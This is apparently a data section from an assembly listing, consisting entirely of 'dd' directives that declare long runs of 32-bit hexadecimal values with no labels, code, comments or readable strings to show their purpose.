dd 4CB33EB4h, 0B8D0D838h, 450470E9h, 49687F3h, 0B97EAE81h
dd 404A619Eh, 92A81B16h, 0A000579h, 0DF4BA48Fh, 0BF6D58h
dd 575B0463h, 0B7899727h, 0FF42D800h, 592C1FD0h, 347100DAh
dd 17C7AC70h, 0CB1E2A35h, 53005B02h, 50C201F2h, 0CFC500D3h
dd 4D0D5C58h, 0DA905515h, 0F2F7791Ch, 2EA7868Bh, 42544010h
dd 52A6ECh, 3DE4336Ah, 0A41F7E36h, 1FC3E5Dh, 24ACA9C1h
dd 0F9F0C742h, 277900D8h, 6C6D0B9Ch, 0EB007378h, 1940728Ah
dd 7FD6BC5Fh, 55F80006h, 78489B46h, 0C03D22F6h, 7224857h
dd 1ED664E2h, 0F9A42CC0h, 0A30D0163h, 60547A88h, 301CD09Fh
dd 93001D73h, 688BBDE4h, 539FDE7h, 0C2EF89BCh, 6C16801Bh
dd 7207D91Eh, 2488E471h, 8E5B6210h, 7B0C008Ch, 75897C21h
dd 780032D9h, 0BBB4FD42h, 0A4A5Dh, 8CB7F4B9h, 725F62BFh
dd 0A7962513h, 0E60B9C00h, 5883B13Ch, 821D8941h, 0E01641F2h
dd 0FE049998h, 25006BF0h, 910537CFh, 0E7FCC1h, 0DD98C431h
dd 40E7395h, 74718A00h, 9046D2C8h, 24FBF602h, 5684836h
dd 0C06FE4EDh, 43B6F67Dh, 0A4F83A00h, 0DDFE68Bh, 67E907CEh
dd 847D194Eh, 44348049h, 3F501627h, 0B00E75C8h, 3B580Fh
dd 0F2ED609Eh, 0C318C2B7h, 0ECA0A830h, 90B10205h, 0A1E30E01h
dd 2D36C1BCh, 0FE94F0F7h, 60C50223h, 0F644D910h, 3E586640h
dd 5E92731Eh, 6B755C83h, 603A0CB2h, 0EC602BA5h, 0DCEF4Dh
dd 0EAC115FEh, 788E1E65h, 0F309893h, 0A05FA703h, 0D38456C3h
dd 0C4D7A9C1h, 0D101C302h, 0D05BBC53h, 0CCEDE04Eh, 7EE4C9EDh
dd 0C1DC001Bh, 719441Fh, 51000450h, 0A32A3B61h, 0C2F933h
dd 2C17D1ADh, 0E8053CDEh, 0D093A900h, 6563FAECh, 0B19E0071h
dd 0CC194682h, 5B0C987Ch, 0A84BF670h, 0E1D70061h, 0DA9444BEh
dd 8F01D5B1h, 0C3B912C8h, 702437AAh, 0F1EA2638h, 0F5003C07h
dd 0E64BF3D7h, 7E63C698h, 0B276F0h, 3DDBAAF9h, 18AE35BDh
dd 9A43C8A8h, 5E30E507h, 0CB378E29h, 0CEE3D90h, 0C9C31EFDh
dd 9AC80258h, 0A48076D5h, 0A869E424h, 3F7AF00h, 7D28545Fh
dd 6EB0063h, 0CECC2687h, 3039BA81h, 9C2E8118h, 48AE5F93h
dd 0D89BD4h, 0CD0EF45Ah, 0B78058A7h, 0E4757E00h, 0B82D4A9h
dd 4FBA00DBh, 71FC22C0h, 4A1ED883h, 0A4C08EDAh, 0B354A34Dh
dd 59080B36h, 0D800E968h, 0AD665262h, 1F00EFF0h, 82319772h
dd 89F3B8h, 0BDCC1D7Eh, 0C985DD46h, 0D26E9B0Fh, 1ACD212Dh
dd 62F050A6h, 345C0003h, 0F73AB1D9h, 260FBC1h, 78479E58h
dd 0E0330008h, 9D7BD9C6h, 693049E4h, 57FE4964h, 85A440A0h
dd 94750C00h, 327FBB82h, 0A904C0D9h, 553EBEC8h, 0BDB0B900h
dd 604F511Bh, 5FA01FFAh, 802F1F24h, 2E6225B8h, 0BD00742Dh
dd 0AFD8560Fh, 3FE3EA48h, 0E007B3C0h, 0B02179BFh, 83349DCh
dd 307C9B00h, 6791D96Dh, 42DE38D2h, 6105980h, 41FEEEF5h
dd 0F1300AFEh, 0C2581846h, 80AA00A3h, 0A665550Eh, 0CB150210h
dd 849793h, 0F1BE21F5h, 0F3DD138h, 0CD2D4C96h, 51AF4EC0h
dd 0A93BB5A0h, 6C38014h, 0B9231F80h, 0B13077Fh, 0E0AC9C2Dh
dd 5694B3E6h, 0F12E5A00h, 1D2C497Bh, 0CB6101F9h, 3B4223B4h
dd 0C5670A8h, 0AD858E01h, 29F50D7h, 14D67E4h, 0E82DFECh
dd 811BA4F3h, 0F06AB438h, 0CEEC276Dh, 0D3E90393h, 0BC0F49D8h
dd 2BA6A388h, 78C24307h, 8CD0DCABh, 619838h, 3C5CE958h
dd 0A977DEF3h, 0FBCC171Eh, 751E1AC4h, 824F5E80h, 0AD3100F0h
dd 0B204D9CDh, 8FE1D763h, 7103B1h, 0A54AC890h, 106D00C1h
dd 99A24B0h, 6100153Ah, 4C72648h, 1E8F0286h, 0C1177B96h
dd 0CCE32264h, 0B3A6C003h, 9716C100h, 0D1DEEDC4h, 155900E8h
dd 8758656Ah, 370061FDh, 457BAA2Dh, 0A0A18Ch, 7F38DA0Fh
dd 4BE33442h, 98000A79h, 0B4067AA7h, 5207195h, 0E1947C31h
dd 0EFC743h, 95AA487h, 105DCB30h, 74A09Bh, 0E4FF51D7h
dd 0DB40E518h, 4559D600h, 0FB25D0CEh, 0F4E065h, 0C2D52002h
dd 810C323Dh, 67CF7F00h, 75DD2A88h, 0F2D700BBh, 189D15C6h
dd 0F81D8019h, 0CF40A0D5h, 912A0672h, 677900AFh, 0B4438EFBh
dd 0CA07E41Ah, 809A02B5h, 59937111h, 0BCC3F4h, 0E4120D14h
dd 1BFAFB7Dh, 865285ECh, 405FC220h, 0D4FB197Dh, 143CC952h
dd 65ECFCB7h, 81A1A400h, 0D5D4D751h, 0E72B1D73h, 4B304683h
dd 6D074813h, 787145EDh, 3FFBEE2Ch, 67BB0B75h, 0B548E003h
dd 0C9D0DC6Eh, 0FFFA5065h, 0A2543D00h, 7EB20137h, 4147008Fh
dd 535F677Bh, 0F5027A0h, 701EFBA8h, 448054F1h, 4E7BAF81h
dd 677E07B0h, 2080C949h, 0B80AA921h, 0FDA46954h, 78C03F7Eh
dd 0E0C94DB1h, 0B3A8A3F0h, 8029FAFAh, 9EC5F68Ch, 6DC60535h
dd 1C1A4266h, 0CA510080h, 0D4E4649h, 3CF17701h, 9F918226h
dd 308FA0Ch, 0D885FB50h, 730018E6h, 65B579E5h, 770F744Bh
dd 11250A77h, 0AC4201h, 0E67C3EF8h, 4CEED10Ah, 0EFF5E501h
dd 0CA2AF428h, 3CEB27F4h, 7205668Fh, 0AEF02Fh, 8726B4A0h
dd 0FD00E3D5h, 4A3262BEh, 2803FFFAh, 580DAC8h, 168B6368h
dd 0C02038D2h, 0FC422E79h, 97055200h, 2921ABEDh, 4C38E50Ah
dd 10AD002h, 7E00A46Ah, 618CC13Eh, 0F3A7A0FFh, 0B881397h
dd 0E028107Bh, 0AAED6701h, 0E00CD948h, 9D004218h, 812B1591h
dd 1126EE1h, 0CFB7CA78h, 0D04D413Fh, 0D80331B0h, 6AF34415h
dd 0E248E898h, 77BA0046h, 51FA6E04h, 0C0008F13h, 4B9A74A8h
dd 38B3B54Dh, 0F0D0E7F8h, 0F44E5492h, 803E176Bh, 0E720053h
dd 0AD8D8139h, 9C6E4F7Ch, 8B97C026h, 0A90A75h, 961A8804h
dd 79B4954Dh, 63DDAA04h, 40806564h, 4907FBh, 0CCF4BF4Fh
dd 0F7CD307Ah, 45F9AD1Dh, 10542242h, 0A95440F6h, 0E9330002h
dd 817D2A99h, 527493ECh, 14589E00h, 0E449AFBDh, 3C9103D7h
dd 0A3940266h, 2003E787h, 658E7CFEh, 0A93A9C00h, 8B52BE1Dh
dd 0D013149Dh, 7206B8F8h, 0E07D41C3h, 5D2F7702h, 6330A45Bh
dd 0F200E13h, 912038F3h, 0C348AC58h, 6AE4807Ah, 82DE3900h
dd 0C7496B28h, 479B0312h, 0CF9B672h, 294A7DB8h, 0DD001EEAh
dd 92CCB05Bh, 0F2EF19Ah, 931DF2F3h, 5CA2AD80h, 9C00FD96h
dd 1F12EE97h, 60F862h, 0FB17C78Bh, 0DAF5B6B5h, 0DB0FBB0Eh
dd 0D7CBE112h, 3180EB3Fh, 0D6EF74Eh, 8A07A49Bh, 0F5B8B482h
dd 0F290ECC7h, 0C08CF01Eh, 46025028h, 670C5378h, 114E1BD1h
dd 0B2890060h, 704C4799h, 91011C61h, 0FE6DC28Ah, 9CFD55A5h
dd 0A992048h, 6E8AE99Dh, 0D5224018h, 14ABDD3Dh, 4F7A5821h
dd 0A517BDC0h, 60DD4295h, 30303934h, 8C404429h, 58BA6201h
dd 375EF59Fh, 44CBBD2h, 367ED270h, 0ED423113h, 3492DAFCh
dd 28084184h, 7B231938h, 0B6A20A4Ah, 0F89AE068h, 0B5804EE4h
dd 82A103C3h, 359F3E15h, 4607BD2h, 9CAD19F9h, 6DA8D904h
dd 0CAE24158h, 32DA370Ah, 0D2E238C1h, 0F5C238F9h, 0AB9F3D3Bh
dd 7988308Ch, 0DE22E083h, 18AE8AB0h, 74B9C801h, 0A5835FBEh
dd 0A26463EAh, 4144B135h, 21998CF8h, 62801336h, 12DA3B1Eh
dd 2A5478F7h, 14E87C55h, 0B4DBED28h, 0A40570B6h, 7161AAE1h
dd 54422407h, 0D532DBB0h, 5072E874h, 3215F4BBh, 8610B07Dh
dd 900A5C9Bh, 8CE53454h, 5756A2C1h, 63110C20h, 0EC6C80B3h
dd 87CFD2A1h, 0EE17D550h, 2B5E6B71h, 0A0983C23h, 8544CBC4h
dd 1404901Ah, 0B84AD882h, 0E4F288E6h, 0C04C7120h, 0FB2E231h
dd 536E759Eh, 0E4F4E080h
dd 0C2E9F2DCh, 0B53D3208h, 8A526441h, 0E8F37508h, 39F29504h
dd 705E2485h, 8D325801h, 0A45FC12Ah, 67C27961h, 0AB0701F3h
dd 85BAF89Eh, 49615A1h, 87EE52ACh, 1F25C584h, 1C7502D4h
dd 0F89C4A8Dh, 725D3C14h, 2822876Ch, 60171858h, 0E9054292h
dd 0EEE3D2DCh, 1E3FD409h, 5CB0C5CCh, 0E4AC77B5h, 0F2148193h
dd 129894F4h, 0B604A044h, 174E43E8h, 7A041762h, 70CFD7D2h
dd 0A9247061h, 4260486Dh, 0F504B7FAh, 0DD3E68D2h, 560088DBh
dd 0E5834A0Ah, 0C209A582h, 169EF523h, 0B45B2E18h, 288918DFh
dd 0B9525922h, 0D1718030h, 90BF852Fh, 0E07AF554h, 57127215h
dd 942CF4FCh, 3E4300AAh, 0A018FA2Bh, 3602E462h, 0E880D2DDh
dd 8218B8D7h, 0CD8D00AFh, 42A019B4h, 0F424FB86h, 0A85058B2h
dd 56F1025Ch, 0A2A01A60h, 30298256h, 0BC363360h, 7034E5F8h
dd 0AA28CA71h, 59E1C03Ch, 8E505337h, 5800E280h, 0A34BD285h
dd 918A8BCBh, 34C540DCh, 0BD4DDF7Ah, 0B11B0064h, 0CBB0B2D0h
dd 918A129Eh, 608B055Ah, 0C4602912h, 0AD33669Eh, 0B022E8A9h
dd 0EF2D0B6h, 8BD27920h, 1AA811CAh, 0CC084069h, 0CED36320h
dd 0BD28C1F9h, 15E30AB0h, 80E034CFh, 507677E9h, 33629453h
dd 0D6A0D489h, 18CAA82Bh, 1E58BE01h, 58808B2Ch, 0CF160642h
dd 2274D072h, 0CBF31214h, 0EABCE0A0h, 0B0FB33B3h, 38EEA2D0h
dd 4DF75212h, 1BC30C38h, 694E0A62h, 96096592h, 4C7D051Ch
dd 0C20B4E3Fh, 8494E208h, 8C77BC06h, 18200EEDh, 4810C9C2h
dd 32E92920h, 7D85C0B8h, 928AA2BAh, 8491074h, 28C8B0CFh
dd 4030FC4Dh, 0A52DFCBh, 0C3958150h, 424D516h, 5DAD1562h
dd 52C728D0h, 62AB3CBh, 9742A800h, 0C92D063h, 5032E8B9h
dd 6E52B01Fh, 939D1014h, 0FB400A4Fh, 8F3C23A0h, 0E1C86B01h
dd 6D8A288h, 0F8176012h, 1453272Ch, 44C870Fh, 4885CAF2h
dd 8D8102Ch, 591823F8h, 279A8202h, 82A44588h, 0D844FEBh
dd 9AE29CA1h, 9B542087h, 8F501052h, 0F748422Bh, 0B53C6885h
dd 92CF04F6h, 0CBABD674h, 0CC2D0174h, 14E068DDh, 7158820h
dd 4992D84Bh, 0C7B24144h, 0FB12E043h, 1D9843Ah, 0F2F56215h
dd 9841AE8Bh, 6C3045BEh, 6C904817h, 3B2EB6E0h, 0A9538A1Ch
dd 771501FDh, 0B85B75A0h, 7EBB9441h, 0AFC9DC61h, 0B0E93060h
dd 0BD750AB4h, 2CF09E1Dh, 7FB50C28h, 7586D69h, 9C53183Ch
dd 7864DF30h, 207B6296h, 0D0C00975h, 9F58D72Bh, 0A6C1F28h
dd 0DEC61500h, 50576A8Bh, 72A0FCC9h, 0BC552E09h, 87D20DE8h
dd 8AE8F0D0h, 0AC854098h, 0AA024313h, 0C0A3DC52h, 0C8CC120h
dd 0F1EA92D9h, 69603D08h, 0DCD5CEB8h, 9B40052h, 0EFB5559Eh
dd 5160AA8Dh, 40EC1278h, 0C4F252DAh, 21B00980h, 60C59F66h
dd 480EA42h, 1C4B6112h, 428BB2DDh, 0BBF652D9h, 0C08E9C83h
dd 14A0820h, 0A1591175h, 20C40195h, 33049D70h, 5E5DEBD1h
dd 0C2438C82h, 9909614h, 97CB2B3h, 11A23020h, 7213F56Dh
dd 9FF9987h, 488Ch, 92DA4B38h, 88C685Ch, 23E5FE32h, 32471E28h
dd 486088CAh, 0F2620C82h, 0E1F81B48h, 60840264h, 0C728DAD2h
dd 202EF6D0h, 0FE7FB3Dh, 1F2D4C32h, 0B0F0333Ch, 9280173Ch
dd 0D51C0223h, 0B8835178h, 183047CBh, 7D22045h, 0B5A13AD7h
dd 2EA8CEB0h, 56F8D985h, 0BFB45151h, 6A8681C9h, 50AB92F5h
dd 0A0A552F0h, 503B32B4h, 5C36A4BCh, 57BD4C3h, 79359ED2h
dd 12B40865h, 0D1E5183Eh, 7CA2F718h, 0C83731A0h, 0D3C6B120h
dd 9E0D60E7h, 0A83AD8F5h, 0A73812A0h, 839340Ch, 30526E15h
dd 8C43F86h, 88A6BE24h, 8530EE3Dh, 8CC17CFAh, 70207D29h
dd 28696241h, 0B8820A43h, 0ECE06411h, 90CF63E6h, 7C0532F1h
dd 0B00CFCC9h, 6395508Bh, 0AB287118h, 38EB1024h, 0B839B206h
dd 84F63E8h, 8919CEF5h, 0A08C2E0h, 32B55470h, 0E7D85A06h
dd 8B24A450h, 1B09680Fh, 0A398033Bh, 2708013Eh, 0FFDB95BFh
dd 0D37BD074h, 18E9D3Ch, 1BD944A2h, 5BE0B0E1h, 182778C9h
dd 182B503Bh, 0BBF06275h, 0C003448h, 100CE5DBh, 0C20F065Ah
dd 8575914h, 50C6A5E0h, 20283D33h, 37321170h, 371101Ch
dd 9388A07Bh, 5E3AA41Bh, 9B0F00D6h, 5DC69E4Dh, 67C4007Ch
dd 4AAC93B0h, 1B0E9416h, 20DB614Fh, 9B95E3A5h, 18287813h
dd 182D085Bh, 1BFE2558h, 93E90E02h, 2E02BBh, 9B941298h
dd 0D62D640Dh, 0C9E0395Bh, 70CD812Ah, 73A1B4Fh, 2F3B00D3h
dd 2FB95DDh, 0BB940E45h, 5B833F8Dh, 3BC038F3h, 0D90E0FF2h
dd 4396959Bh, 37367DBBh, 0C310F018h, 1BF0E66Fh, 0F0F1B538h
dd 0F0CB0EF8h, 863E0EEAh, 3D0464Ah, 5B95AF62h, 810AC26h
dd 9231ABDBh, 783FB78h, 9C1F0645h, 9B086E18h, 2880611Eh
dd 0F3DAF33Bh, 31DB24C9h, 0D0D8F932h, 0B0CC42BEh, 507BC873h
dd 0FDFB98ABh, 22DB088Fh, 50BC3790h, 8E4955C0h, 0DA87307Bh
dd 0D8F693C0h, 0F7261B18h, 90508350h, 0C674EA00h, 58700E78h
dd 8A144A1Eh, 3868D00Ch, 8B8C3D26h, 0A8153019h, 2BEC5C98h
dd 0DC75700h, 4C93B2E8h, 40F18358h, 30E88439h, 88B8EB1h
dd 3A6B1600h, 8A454B5Fh, 0CABB6C01h, 75553BDAh, 122E8889h
dd 57B03C02h, 0FACC3041h, 2C5C2090h, 162FB603h, 0A40C8A40h
dd 347038C4h, 31E9D277h, 2CA0E71Eh, 0BB6881C7h, 0FBDB50DEh
dd 700901EBh, 905BDFC8h, 0E39BD08Dh, 0FC8CB150h, 4BD00F64h
dd 2DC43C87h, 38145885h, 0A27B0748h, 5EC5DAEDh, 8212D81Fh
dd 2D5A3C46h, 6C923010h, 0D6282B50h, 48906DF2h, 0DC8EFB12h
dd 0E82E340Ah, 2403789h, 8FC3BA20h, 5B0CF0ECh, 5520A7FEh
dd 9A18A464h, 0E6635C91h, 0E5ED208Ch, 4890A218h, 346C3B24h
dd 28CC203Ah, 49C431DBh, 3474481Bh, 0C508AE6Bh, 10840D13h
dd 2472D178h, 8490C144h, 8519DB1Bh, 3D087C29h, 7B8959D6h
dd 7803926Fh, 82D7352Eh, 0B0406957h, 0F1E97E09h, 0F018FBB9h
dd 1E18C754h, 0FBD81B9Ch, 28E2081Fh, 52D1B02h, 0D6FA0FDBh
dd 0A3C0D85h, 3E98F2DCh, 10310619h, 82E84787h, 9882D11Ah
dd 0C040E427h, 0A0CAD90Ah, 773AA4F4h, 50938640h, 502B886Fh
dd 9A448462h, 91A8318Ch, 2006B318h, 9B3C5EDCh, 94CC268Eh
dd 0E020FE9Fh, 2E80A107h, 203B8AD0h, 8C2466DFh, 0F30CD809h
dd 607310A2h, 192B3042h, 4648F4C2h, 18D41858h, 3A35B410h
dd 36308903h, 0C4849D09h, 12613B14h, 0B12A19B4h, 0C2D45278h
dd 0EFA81D34h, 0F4100189h, 87D7B486h, 0E4FCDB30h, 0F7EC7B40h
dd 630DFC89h, 0A8A618BAh, 0A47AFBE1h, 21187008h, 12A3F848h
dd 70E5BBDFh, 8BF64A98h, 48157D20h, 0B1A794CCh, 2406341Ah
dd 3C24ECA8h, 0D41C6065h, 0D144DA1Dh, 0B08BC4D2h, 0CDF99906h
dd 8C125989h, 0A800625Ch, 9B93D9DCh, 0C4E5051Ah, 1429B6BBh
dd 5AA0E490h, 0E324A2CFh, 0AC04D08Fh, 0B483647Bh, 3B7000D3h
dd 3486E95Eh, 0F4E8ED20h, 8C1BF34h, 0EAA94461h, 0B3BFD1E3h
dd 32DD4431h, 0CA8F488Ch, 709838C0h, 13DF1B13h, 20A3900Ah
dd 6E25EC60h, 6C44402Ch, 3B888D61h, 14482BAFh, 0B14E095Dh
dd 5C8151BAh, 30EB6A0Ch, 0BF5021D8h, 98F3BCh, 0D8B39B12h
dd 1D0D009h, 0C0673B50h, 0C309808Ch, 9B817410h, 24989816h
dd 0A3742EF0h, 6E48EFF0h, 1DD71890h, 98DA13B0h, 0D0D35838h
dd 5AE8247Ch, 0C9B30948h, 87517004h, 8B408E18h, 38F97486h
dd 1328D0B0h, 83FCBC20h, 5326C498h, 570C871h, 0B79C2A80h
dd 482C7780h
dd 8B26E073h, 0D4193AC0h, 20145113h, 0A33E56A0h, 9430248Eh
dd 0EC812823h, 5064D06Fh, 0D4CC9440h, 14BC98F2h, 0E089FC73h
dd 0EA0283B0h, 0EC803CE8h, 6892FB0Eh, 0E21871CBh, 4297DC5Ah
dd 0CA8C28C6h, 48EEE420h, 24311876h, 0E24DEAF1h, 0F4871CC5h
dd 0B272A71Fh, 4F3840AFh, 0FC34B025h, 0C02C918Bh, 26FDDC88h
dd 9AC73C44h, 5E1115D0h, 8BC17CD9h, 80833329h, 9FFE6CA1h
dd 52475BD8h, 0CA3E145Fh, 32E2B008h, 0A0050C05h, 906FF80Ah
dd 0E0309404h, 6182F092h, 4C315D14h, 98EA4DE0h, 1F0A510h
dd 0B6366C75h, 0A9E05139h, 135C605Eh, 0BB184490h, 33B8C2D0h
dd 5C409818h, 9A7C08DBh, 3ED3E880h, 9E198A06h, 45922058h
dd 13BC85F8h, 430C123Ch, 8E7483A4h, 10A6BCC3h, 13B8E44Ch
dd 9046CC1Bh, 31687016h, 0A9786682h, 9C208C73h, 3E881894h
dd 11198A0Ch, 34B9D89Eh, 0A8985DB4h, 606682F0h, 3008F748h
dd 3B90FAFBh, 8C46379h, 9C81BE83h, 0B88CB608h, 0B008B57Ch
dd 18502748h, 8082A92h, 0CA48CC61h, 59611B18h, 2BC93BE8h
dd 0AE6896h, 0C6F82300h, 0FFFC0396h, 0FA3C63E8h, 5F037CD0h
dd 0D6A33340h, 7821E7E3h, 0FE403442h, 3A9E2C63h, 0BE0126FFh
dd 5E2997E2h, 1E2BF072h, 3379C000h, 96A810E3h, 666C31A3h
dd 0D0296730h, 9A636E3Eh, 18E4D270h, 68ECF258h, 63E8788Eh
dd 86386B6Eh, 3E20998Bh, 3000E0Dh, 433527D3h, 83F8DB6Ah
dd 3454721Eh, 2C593001h, 18A04B1Eh, 0A83F6392h, 23A010D5h
dd 43F8DC35h, 20A97030h, 0F033721Bh, 2C5A0088h, 421A4AFEh
dd 6C6313E3h, 0E1657AA0h, 88879B7Eh, 41F60723h, 8CB015C3h
dd 8AF7BB8h, 6310C2BFh, 3A01F82Dh, 0A040341Eh, 1C839D01h
dd 7ED3595h, 50BB245Dh, 0C6334E28h, 5CFB2AECh, 0A085614h
dd 51ABAD3h, 872B2F66h, 200215A2h, 85EEF914h, 10211D20h
dd 0E029A606h, 2086B96Bh, 0A630104Eh, 208378F8h, 118A549h
dd 3C43BAA5h, 9F460027h, 28C3FA0Ch, 0F84AB56h, 0A331AA0Dh
dd 48344EC6h, 0EFBC2750h, 0B3F83D78h, 64B83C50h, 0F5841350h
dd 79E088A3h, 8312427Eh, 81EB3C5h, 233FB4C1h, 0C3F04C12h
dd 9F1005B5h, 20D352E3h, 0CFB30D48h, 14BDA020h, 0E4A77AE6h
dd 835C1D29h, 12FE54CBh, 0F7862918h, 740E7DB1h, 6AA22435h
dd 42580C1Ch, 14904990h, 90DD0330h, 10EEFBE3h, 14C57E29h
dd 0C7443FA3h, 1525DEF2h, 8A26CC43h, 223824AAh, 4D018900h
dd 58044400h, 0D550DE2Ch, 0F6200388h, 5BD13E1Eh, 92C75E00h
dd 87DEBE29h, 45E2E9h, 2C1FE50Fh, 62C6C95Dh, 0F063F09Eh
dd 39E3BC81h, 56AC303Dh, 70E8F47Ch, 0A31A4C90h, 1458C845h
dd 51B20AA0h, 85E80657h, 4E0DA66h, 813E698Ch, 4EF67D40h
dd 97D017A8h, 4DB44604h, 9A483081h, 0AC396894h, 46894337h
dd 0DE42785Eh, 8C87AD80h, 0FE0F9606h, 0C0D9B00Dh, 0E61C8D77h
dd 750A03C7h, 0D045909Fh, 3A502038h, 46AD07B1h, 0C6450FEFh
dd 0F1231830h, 975320BAh, 0EDADA607h, 26337303h, 0B7B4E106h
dd 0F713F0h, 0C794DD9Ah, 46ED93Dh, 6034200h, 0F3054E66h
dd 0E8417A1Fh, 78AB7E53h, 1CEE52D3h, 442E970Fh, 0E6004848h
dd 0B306D926h, 1CA33ED6h, 44A9B1Dh, 60E7286Eh, 38468811h
dd 1BACC2Eh, 57C2280h, 6D1EA33h, 305059E9h, 1E039F4Eh
dd 2601CB82h, 7330013Dh, 0F306D08Ch, 0D861CB1h, 9683E1F9h
dd 8021DD98h, 61C6931h, 0F8A2FD3h, 4F1A9312h, 0C0384E2Ah
dd 0D461E13Fh, 606641C5h, 0B7738400h, 159305B2h, 1C19FE55h
dd 0BC7E4C0h, 0A8C38004h, 42990AC6h, 0EA808038h, 0CD93AAA6h
dd 26A9B183h, 2714B8D2h, 0FA5522D6h, 0AE92060Ah, 4DE07804h
dd 0FDFE3667h, 0ECA8E600h, 827CF4A1h, 19F976E1h, 0E0E094CEh
dd 0F8CD10C6h, 0B346094Bh, 0E4140375h, 1708107Bh, 0E0701FE1h
dd 2065930Ah, 0A324616Eh, 26019D1Bh, 9233014Bh, 68E408A1h
dd 843F0FBCh, 4B86D0B8h, 44F82550h, 0EE192B15h, 6D6C806Ch
dd 81490CC8h, 4D285866h, 7A010408h, 0DAC609DEh, 10D37002h
dd 0FD535840h, 8E191D03h, 0A11B4CB3h, 84421EE1h, 0D3E4811Ah
dd 7880D56Eh, 0AE1C04E6h, 10C7FBDDh, 0E6CFCDAFh, 53180648h
dd 210F7C7Ch, 0E0F49E62h, 9561498Ch, 0BB6E70C6h, 0FF931ED8h
dd 0D70E06B8h, 0AC6108B9h, 2CF4B318h, 50089887h, 0FA2BC31Ch
dd 0CE2FAEC0h, 0C19822F9h, 9DF21A38h, 0B4069C53h, 7C1E7300h
dd 50ACB304h, 450B2008h, 3FE68542h, 0CA8C04D2h, 45C8E1Eh
dd 204130DEh, 7462091h, 0F8289C54h, 0FDB112EFh, 0FFC422C7h
dd 5E53C040h, 592E80A1h, 0E904E12Ch, 8689852Bh, 40283161h
dd 1BBFCCAh, 1D65A5Dh, 4EF97466h, 73F30684h, 2051F19Eh
dd 548E1FC6h, 769FD03Ah, 75D053FFh, 3505047h, 0CD391548h
dd 6781258h, 0EEC0A8Ah, 30BF51A8h, 0C7286E07h, 726AA8CFh
dd 8B580C50h, 0A879330Ch, 4ADA4629h, 7D013067h, 0DAC0D272h
dd 1826288Fh, 1DB064B4h, 82FF5F2Eh, 6BF886A0h, 26F89612h
dd 15FFC963h, 0BF18A059h, 40F52855h, 462F7498h, 78254A8h
dd 27F302EAh, 0C5D3817Dh, 2284AADh, 0C03A32C2h, 2DC6025Bh
dd 0EA2E8C40h, 0F3125606h, 7A0862FAh, 24989058h, 0C94FFBAh
dd 557041D4h, 968710DFh, 4F830FAFh, 30834E6h, 3748B78h
dd 55FB60D6h, 0A6700989h, 209C7D69h, 0B99E9604h, 408093CCh
dd 0B117AE06h, 2860C068h, 906056C7h, 18E9E628h, 43CAE06h
dd 21834E9Fh, 3646025Ch, 128C7F3h, 23B2D67Dh, 1C7C24E6h
dd 3C8E2098h, 799BC505h, 0D84A454Bh, 4E09EC54h, 4CFC23FAh
dd 88809D4h, 0A89612A1h, 0B010AF38h, 8066919Bh, 0AC9CA0B4h
dd 9F792116h, 9C816841h, 82C66040h, 249C9006h, 7028C445h
dd 2510444Ah, 0A6145AAAh, 7852D4C9h, 0BA5D04C1h, 6598644h
dd 0E0C80263h, 0CC1252ACh, 0C2E82CC1h, 0E631844Ch, 908E2DD8h
dd 7346D002h, 0B8A24461h, 0FC672758h, 0E33CEA02h, 4C904485h
dd 604CD01Dh, 14B676B0h, 0CCA10575h, 23E83186h, 48388030h
dd 40E61710h, 50D2A9CBh, 18C1082Ch, 5198A70Ch, 0FD58C3C6h
dd 0FAD91918h, 0C7DAD3A8h, 0EF870FA4h, 0A639C14Ch, 0FC05CF24h
dd 30BF9F0Ch, 74BA5295h, 0FD6869Ch, 613393Fh, 40382A0Ch
dd 0E75B1CA9h, 30B0EA55h, 9150CD1Ah, 8E121C60h, 0AC3892F7h
dd 0BE990C68h, 46605783h, 0CC61EF2Eh, 8F43282Bh, 89FEB991h
dd 4EB11187h, 1C61970Fh, 0C3003208h, 3DAE68BAh, 0CCB046h
dd 0E380DEA6h, 7C550F9Fh, 0DA068F03h, 701497h, 34474138h
dd 65640ED8h, 0BAD21D39h, 6D91860h, 0B67C20h, 0EEF4FB15h
dd 121BE5CEh, 0BCD148C0h, 3A2463DFh, 6101F6AEh, 0BD2B1A45h
dd 2C40E8D9h, 0F1C80D09h, 0E5BB81BEh, 38B78937h, 0F43230A9h
dd 7738DE09h, 56910304h, 23799A03h, 0BC0023A0h, 0DC0EDB34h
dd 6A208660h, 42A11705h, 47050015h, 0BC25AF4Ah, 968C410Fh
dd 930E8F59h, 3D016E01h, 0E0E41B8Eh, 55040397h, 4E09708Dh
dd 0E60010E6h, 42F644DBh, 7F62F8h, 0BD037C39h, 87C93585h
dd 867AC400h, 32EEEB0Bh, 5F7403D4h, 9EBF4D04h, 75699CA8h
dd 110CB71Ch, 0B5A14940h, 720B33h, 0E81C1F81h, 22CC04AAh
dd 0A685100h, 0A08C8556h, 0FFEC076Eh, 0C04276DCh, 10BFCC28h
dd 0F4AFFE3Ch, 7B536700h, 0F63D8A93h, 8FE40019h, 0F36497B5h
dd 0AA007F16h, 2599677Eh, 3DDECBFh, 1E415244h, 0B029CA92h
dd 631E049Bh, 79FA9505h
dd 8680C7Bh, 9819D030h, 181DDC00h, 267DB47Ch, 371B3DEFh
dd 0C0D8F5BFh, 0DB191E31h, 422A0818h, 1D97100Dh, 20743282h
dd 111C5F22h, 0E7B6E8D1h, 0E0C4B81h, 21B55922h, 22082913h
dd 444F45DFh, 23AF4318h, 2DC9EAF7h, 30C03BCh, 25180BBDh
dd 3F19C70Ch, 5C5E30A8h, 0ABA97B63h, 6140E728h, 19BA835h
dd 25D6C63Dh, 0D0B0CF18h, 6700EB2Dh, 65F2999Eh, 0FE5F7A5h
dd 0BE374668h, 0C0453CC7h, 0AA35BC14h, 9A57E903h, 1F73B1Fh
dd 0EA3C0630h, 0E059CD12h, 0C572D71Bh, 39057430h, 1DBAFB9h
dd 467111F1h, 0CCC13087h, 0E6008524h, 3731B215h, 3E2349E3h
dd 0BA98BD5Bh, 0C5D994A2h, 68FF1201h, 6B1B3CFAh, 774454D0h
dd 18C000E0h, 5EFCCC40h, 3202A5DBh, 6A01BF50h, 574C9089h
dd 0DA833072h, 0D8ED8F10h, 0FFB4A700h, 0D156CFF1h, 0C7E6000Fh
dd 8043B6E7h, 94008E1Bh, 879B205Fh, 0EA86AEh, 6B51C83h
dd 381597AFh, 8116992Eh, 9F490500h, 0AED2E843h, 8731EE1Ch
dd 7D403F9Eh, 6FD9834Ah, 1FEB0042h, 0D17045Eh, 0C0A5BFA1h
dd 868CEA40h, 0BAD3009Bh, 0D96C298Ah, 161859BDh, 0E82842AAh
dd 201070C5h, 5300F6C7h, 5292AD06h, 7C89E1Fh, 7A227E91h
